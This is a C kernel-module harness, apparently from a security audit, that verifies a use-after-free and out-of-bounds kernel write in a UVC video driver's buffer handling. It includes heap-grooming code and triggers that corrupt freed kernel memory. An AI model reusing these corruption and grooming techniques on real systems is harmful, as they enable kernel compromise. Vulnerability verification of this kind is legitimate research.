DF-5434 / bufharness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 | /* * bufharness.c - pass-2 verification harness for sys/bus/u4b/uvc/uvc_buf.c * * Target finding (verified here): * * DF-5434 (HIGH): REQBUFS-while-streaming / buffer realloc frees bq->mem * without draining the product/consumer queues or resetting descriptors. * uvc_v4l2.c:613 VIDIOC_REQBUFS has NO streaming-state check * uvc_buf.c:517 free_bufs_locked() frees bq->mem but does NOT drain * product/consumer queues and does NOT reset descriptors * (buf->mem / buf->vbuf.bytesused / status stay STALE) * uvc_buf.c:91 uvc_buf_fill_v4l2() never clears vbuf.bytesused * => (A) count-shrink: descriptors with index >= new count keep pointing * at freed memory while still linked as product head => * uvc_bulkbuf_sell_buf()/uvc_buf_sell_buf() usbd_copy_out() into * FREED kernel memory (kernel-side UAF WRITE). [modes 1/2/3] * => (B) len-shrink: re-inited descriptor keeps stale bytesused > * new length => `maxlen = length - bytesused' (uvc_buf.c:265) * underflows => nbytes = len => OOB WRITE at mem_new + stale_bytesused. * [mode 4, predicted fault VA printed before the write] * * Also documented here (killed candidate, Info-level): * uvc_buf_queue_req_bufs() signed count (count >= 0x80000000 => num<0 => * clamp skipped, alloc loop skipped, `mem' uninitialized, buf_count * sign-extended). Guest objdump proves the shipping gcc folds the * uninit read into a deterministic ENOMEM, so no wild bq->mem occurs on * this toolchain. [mode 8] * * The harness #includes the REAL driver sources (newbus registration * neutered), registers a REAL 0666 cdev via the production * uvc_v4l2_reg()/make_dev(), and drives the production completion path * (uvc_bulkbuf_sell_buf) from kernel context with a fabricated * usb_page_cache exactly as uvc_drv_bulkfill_buf() would from the USB * callback. * * sysctl hw.bufharness: * 1/2/3 - DF-5434 mode A (UAF write proof, guest stays up), payload * markers 0x5A / 0xA7 / 0xC3 * 4 - DF-5434 mode B (stale-bytesused maxlen underflow => OOB write * => kernel page fault; predicted VA printed first) * 8 - signed-count probe (expected: ENOMEM fold) * 9 - ground truth dump (qwords of bq->buf[i], i = 0..47, * pointers, sizeof/offsetof proof) */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/bus.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/lock.h> #include <sys/stdint.h> /* Neuter driver registration; we want the production code only. */ #undef DRIVER_MODULE #undef MODULE_DEPEND #undef MODULE_VERSION #define DRIVER_MODULE(name, busname, drv, dc, evh, arg) #define MODULE_DEPEND(name, mod, min, pref, max) #define MODULE_VERSION(mod, ver) /* The real driver code, verbatim */ #include "uvc_buf.c" #include "uvc_ctrls.c" #include "uvc_v4l2.c" #include "uvc_drv.c" static void *harness_refs[] __unused = { &uvc_driver, &uvc_devclass }; static struct uvc_softc gsc; static struct uvc_drv_video *gvideo; static int gvideo_registered; /* fake compressed format so REQBUFS ioctl path (uvc_v4l2.c:623) survives */ static struct uvc_data_format fakefmt = { .flags = UVC_FMT_FLAG_COMPRESSED, .fcc = V4L2_PIX_FMT_MJPEG, .name = "rig", }; static struct uvc_data_frame fakefrm; /* fake streaming data so uvc_drv_stop_video() on close is safe: * num_altsetting=1 => bulk branch; xfer[0]==NULL => no endpoint work */ static struct uvc_drv_data fakedata = { .num_altsetting = 1, }; /* fake usb_page_cache: zeroed struct + ->buffer set gives "Case 2 - Plain * PIO" in usbd_get_page() => usbd_copy_out(pc, off, dst, len) becomes * memcpy(dst, pc->buffer + off, len) - the production copy primitive. */ static struct usb_page_cache gpc; #define GROOM_N 24 #define LANE sizeof(struct uvc_buf) static void groom_and_place(void) { void *groom[GROOM_N]; size_t vsz = sizeof(struct uvc_drv_video); int i, j; /* zeroed chunks, marker qword at lane offset 64 of each 128B lane * (offset 16 - the `status' field - stays 0 so a later QBUF treats * the OOB slot as UVC_BUF_STATE_IDLE) */ for (i = 0; i < GROOM_N; i++) { groom[i] = kmalloc(vsz, M_UVC, M_WAITOK | M_ZERO); for (j = 0; (j + 1) * LANE <= vsz; j++) *(uint64_t *)((uint8_t *)groom[i] + j * LANE + 64) = 0x5A00000000000000ULL | ((uint64_t)i << 8) | j; } for (i = 0; i < GROOM_N; i++) kfree(groom[i], M_UVC); /* production-style allocation: the video struct (with the embedded * uvc_buf_queue) lands amid the freshly freed marker chunks */ gvideo = kmalloc(vsz, M_UVC, M_WAITOK | M_ZERO); kprintf("HARNESS: gvideo=%p size=%zu lane(sizeof uvc_buf)=%zu " "off(status)=%d off(vbuf)=%d off(link)=%d " "sizeof(v4l2_buffer)=%d\n", gvideo, vsz, LANE, (int)offsetof(struct uvc_buf, status), (int)offsetof(struct uvc_buf, vbuf), (int)offsetof(struct uvc_buf, link), (int)sizeof(struct v4l2_buffer)); } /* ---------------- DF-5435: production completion-path drives ------------- */ static uint8_t patbuf[4 * 1024 * 1024]; static void pat_fill(uint8_t b) { memset(patbuf, b, sizeof(patbuf)); } /* mimics uvc_drv_bulkfill_buf() -> uvc_bulkbuf_sell_buf() from the xfer * callback: header FID bit + one bulk payload */ static int sell_bulk(uint32_t len, uint32_t actlen, uint32_t maxFramelen, uint8_t fid) { gvideo->bulk.header[1] = fid; /* UVC_PL_HEADER_BIT_FID == 1 */ return uvc_bulkbuf_sell_buf(&gvideo->bq, &gpc, 0, len, actlen, maxFramelen); } /* mode 1/2/3: count-shrink UAF write, deterministic, guest survives */ static void mode_a(int round, uint8_t marker) { struct v4l2_buffer vb; uint32_t cnt; void *victim; uint8_t *old; int i, hits = 0; kprintf("HARNESS DF-5434[A%d]: marker=0x%02x round start\n", round, marker); uvc_buf_queue_disable(&gvideo->bq); /* clean state like STREAMOFF */ uvc_buf_queue_enable(&gvideo->bq); /* like STREAMON */ /* fresh bulk engine state, as after a completed frame (clean:) */ gvideo->bulk.header_size = 0; gvideo->bulk.skip_payload = 0; gvideo->bulk.payload_size = 0; gvideo->bulk.max_payload_size = 0xFFFFFFFFu; cnt = 4; if (uvc_buf_queue_req_bufs(&gvideo->bq, &cnt, 0x10000) != 0 || cnt != 4) { kprintf("HARNESS DF-5434[A%d]: req1 failed\n", round); return; } kprintf("HARNESS DF-5434[A%d]: req1 -> mem=%p count=%llu size=0x%llx\n", round, gvideo->bq.mem, (unsigned long long)gvideo->bq.buf_count, (unsigned long long)gvideo->bq.buf_size); old = gvideo->bq.mem; memset(&vb, 0, sizeof(vb)); vb.index = 3; vb.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; vb.memory = V4L2_MEMORY_MMAP; if (uvc_buf_queue_queue_buf(&gvideo->bq, &vb) != 0) { kprintf("HARNESS DF-5434[A%d]: qbuf3 failed\n", round); return; } /* frame data arrives: one bulk payload of 0x1000 into buf3 */ pat_fill(marker); gvideo->bulk.last_fid = 3; gvideo->bulk.payload_size = 0; gvideo->bulk.max_payload_size = 0xFFFFFFFFu; sell_bulk(0x1000, 0x1000, 0x1000, 0); kprintf("HARNESS DF-5434[A%d]: after sell1 buf3: mem=%p offset=0x%llx " "bytesused=0x%x status=%llu (still linked as product head)\n", round, gvideo->bq.buf[3].mem, (unsigned long long)gvideo->bq.buf[3].offset, gvideo->bq.buf[3].vbuf.bytesused, (unsigned long long)gvideo->bq.buf[3].status); /* THE BUG: REQBUFS again while the queue is live. Production reaches * this via VIDIOC_REQBUFS (no streaming check, uvc_v4l2.c:613). */ cnt = 1; if (uvc_buf_queue_req_bufs(&gvideo->bq, &cnt, 0x10000) != 0) { kprintf("HARNESS DF-5434[A%d]: req2 failed\n", round); return; } kprintf("HARNESS DF-5434[A%d]: req2(count=1) -> NEW mem=%p " "(OLD mem=%p was kfree'd; buf3 NOT re-inited: mem=%p status=%llu " "bytesused=0x%x; product head=%p == buf3? %s)\n", round, gvideo->bq.mem, old, gvideo->bq.buf[3].mem, (unsigned long long)gvideo->bq.buf[3].status, gvideo->bq.buf[3].vbuf.bytesused, STAILQ_FIRST(&gvideo->bq.product), STAILQ_FIRST(&gvideo->bq.product) == &gvideo->bq.buf[3] ? "YES" : "no"); /* reclaim the freed 0x40000 block to observe the UAF write */ victim = kmalloc(4 * 0x10000, M_UVC, M_WAITOK | M_ZERO); memset(victim, 0xAA, 4 * 0x10000); kprintf("HARNESS DF-5434[A%d]: victim=%p (reclaimed old mem? %s)\n", round, victim, victim == old ? "YES" : "no"); /* more frame data arrives: completion engine writes through the * STALE descriptor into freed (now victim) memory */ pat_fill(marker ^ 0xFF); sell_bulk(0x800, 0x800, 0x800, 0); kprintf("HARNESS DF-5434[A%d]: after sell2 (wrote 0x%02x x 0x800 at " "OLDmem+3*0x10000+0x1000)\n", round, marker ^ 0xFF); for (i = 0; i < 0x40000; i++) { if (((uint8_t *)old)[i] == (marker ^ 0xFF)) hits++; } kprintf("HARNESS DF-5434[A%d]: %s: found %d bytes of 0x%02x pattern " "inside freed/reclaimed block %p (expect 0x800 at " "offset 0x31000..0x31800 => %s)\n", round, hits >= 0x800 ? "UAF-WRITE PROVEN" : "no hit", hits, marker ^ 0xFF, old, hits >= 0x800 ? "KERNEL UAF WRITE" : "check"); kfree(victim, M_UVC); /* leave the queue consistent enough for the next round */ uvc_buf_queue_disable(&gvideo->bq); cnt = 0; uvc_buf_queue_req_bufs(&gvideo->bq, &cnt, 0x1000); } /* mode 4: len-shrink stale-bytesused underflow => OOB write => page fault */ static void mode_b(void) { uint32_t cnt, i; uint8_t *mem2; kprintf("HARNESS DF-5434[B]: stale-bytesused underflow round start\n"); uvc_buf_queue_disable(&gvideo->bq); uvc_buf_queue_enable(&gvideo->bq); /* fresh bulk engine state, as after a completed frame (clean:) */ gvideo->bulk.header_size = 0; gvideo->bulk.skip_payload = 0; gvideo->bulk.payload_size = 0; gvideo->bulk.max_payload_size = 0xFFFFFFFFu; cnt = 2; if (uvc_buf_queue_req_bufs(&gvideo->bq, &cnt, 0x2000000) != 0) { kprintf("HARNESS DF-5434[B]: req1 failed\n"); return; } kprintf("HARNESS DF-5434[B]: req1(len=0x2000000) mem=%p\n", gvideo->bq.mem); { struct v4l2_buffer vb; memset(&vb, 0, sizeof(vb)); vb.index = 0; vb.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; vb.memory = V4L2_MEMORY_MMAP; uvc_buf_queue_queue_buf(&gvideo->bq, &vb); } pat_fill(0xC3); gvideo->bulk.last_fid = 3; gvideo->bulk.payload_size = 0; gvideo->bulk.max_payload_size = 0xFFFFFFFFu; for (i = 0; i < 8; i++) sell_bulk(0x400000, 0x400000, 0x400000, 0); kprintf("HARNESS DF-5434[B]: buf0 bytesused=0x%x (mid-frame, ACTIVE, " "product head)\n", gvideo->bq.buf[0].vbuf.bytesused); /* REQBUFS with the SMALLER frame size (device re-negotiated probe * dwMaxFrameSize / S_PARM path): buf0 is re-inited with * length=0x1000 but bytesused STAYS 0x2000000 */ cnt = 2; if (uvc_buf_queue_req_bufs(&gvideo->bq, &cnt, 0x1000) != 0) { kprintf("HARNESS DF-5434[B]: req2 failed\n"); return; } mem2 = gvideo->bq.mem; kprintf("HARNESS DF-5434[B]: req2(len=0x1000) NEW mem=%p (0x2000 " "bytes); buf0: length=0x%x bytesused=STALE 0x%x status=%llu\n", mem2, gvideo->bq.buf[0].vbuf.length, gvideo->bq.buf[0].vbuf.bytesused, (unsigned long long)gvideo->bq.buf[0].status); kprintf("HARNESS DF-5434[B]: PREDICTED fault VA = %p " "(mem2 + stale bytesused 0x2000000); maxlen = 0x1000-0x2000000 " "= 0xE0001000 (UNDERFLOW) => nbytes=0x1000 => OOB WRITE, " "triggering now\n", (void *)(mem2 + 0x2000000)); pat_fill(0x5A); sell_bulk(0x1000, 0x1000, 0x1000, 1); /* FID toggles => ACTIVE */ kprintf("HARNESS DF-5434[B]: survived?! (write landed in mapped " "memory - corruption, not fault)\n"); } /* mode 8: kernel-side probe of the signed-count path (DF-5434-Info): * objdump of this exact build shows gcc folds the uninitialized `mem' * read into a deterministic ENOMEM for num<0 (no wild bq->mem). */ static void mode_arm(void) { uint32_t cnt = 0x80000000u; if (uvc_buf_queue_req_bufs(&gvideo->bq, &cnt, 0x1000) != 0) { kprintf("HARNESS DF-5434[arm]: req_bufs(0x80000000) -> " "ENOMEM (compiler folded the uninit mem read; bq->mem=%p " "buf_count=%llu unchanged)\n", gvideo->bq.mem, (unsigned long long)gvideo->bq.buf_count); return; } kprintf("HARNESS DF-5434[arm]: ARMED: bq->mem=%p " "bq->buf_count=0x%llx bq->buf_size=0x%llx\n", gvideo->bq.mem, (unsigned long long)gvideo->bq.buf_count, (unsigned long long)gvideo->bq.buf_size); } /* mode 9: ground truth dump for DF-5434 leak/write comparison */ static void mode_dump(void) { int i, j; kprintf("HARNESS DF-5434[dump]: bq=%p buf[]=%p mem=%p buf_count=0x%llx " "buf_size=0x%llx\n", &gvideo->bq, gvideo->bq.buf, gvideo->bq.mem, (unsigned long long)gvideo->bq.buf_count, (unsigned long long)gvideo->bq.buf_size); for (i = 0; i < 48; i++) { uint64_t *lane = (uint64_t *)(gvideo->bq.buf + i); int nz = 0; for (j = 0; j < (int)(LANE / 8); j++) if (lane[j]) nz++; if (nz) kprintf("HARNESS DF-5434[dump]: buf[%2d] @%p: " "mem=%016llx off=%016llx status=%016llx " "idx=%016llx lane[8]=%016llx lane[11]=%016llx\n", i, (void *)lane, (unsigned long long)lane[0], (unsigned long long)lane[1], (unsigned long long)lane[2], (unsigned long long)lane[3], (unsigned long long)lane[8], (unsigned long long)lane[11]); } kprintf("HARNESS DF-5434[dump]: dump done (marker qwords are " "0x5a..chunk/lane ids; status==1 in a lane that was zero/marker " "=> QBUF OOB write)\n"); } static int harness_mode; static int sysctl_harness(SYSCTL_HANDLER_ARGS) { int error, m = harness_mode; error = SYSCTL_OUT(req, &m, sizeof(m)); if (error != 0 || req->newptr == NULL) return (error); error = SYSCTL_IN(req, &m, sizeof(m)); if (error != 0) return (error); switch (m) { case 1: mode_a(1, 0x5A); break; case 2: mode_a(2, 0xA7); break; case 3: mode_a(3, 0xC3); break; case 4: mode_b(); break; case 8: mode_arm(); break; case 9: mode_dump(); break; default: break; } harness_mode = m; return (0); } SYSCTL_PROC(_hw, OID_AUTO, bufharness, CTLTYPE_INT | CTLFLAG_RW, 0, 0, sysctl_harness, "I", "uvc uvc_buf.c DF-5434 harness"); static int bufharness_handler(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: kprintf("HARNESS: loaded (real uvc sources compiled in)\n"); groom_and_place(); memset(&gsc, 0, sizeof(gsc)); gvideo->sc = &gsc; gvideo->ctrl = NULL; gvideo->data = &fakedata; gvideo->unit = 96; gvideo->type = V4L2_BUF_TYPE_VIDEO_CAPTURE; gvideo->cur_fmt = &fakefmt; gvideo->cur_frm = &fakefrm; USETDW(gvideo->req.dwMaxFrameSize, 0x1000); USETDW(gvideo->req.dwMaxPayloadSize, 0x1000); atomic_store_64(&gvideo->users, 0); atomic_store_64(&gvideo->pri, 0); uvc_buf_queue_init(gvideo, &gvideo->bq); gpc.buffer = patbuf; if (uvc_v4l2_reg(gvideo) != 0) { kprintf("HARNESS: uvc_v4l2_reg failed\n"); return (ENXIO); } gvideo_registered = 1; kprintf("HARNESS: production cdev /dev/video%lu created (0666) " "via uvc_v4l2_reg()\n", (unsigned long)gvideo->unit); return (0); case MOD_UNLOAD: if (gvideo_registered) return (EBUSY); kfree(gvideo, M_UVC); return (0); default: return (EOPNOTSUPP); } } static moduledata_t bufharness_mod = { "bufharness", bufharness_handler, NULL }; DECLARE_MODULE(bufharness, bufharness_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |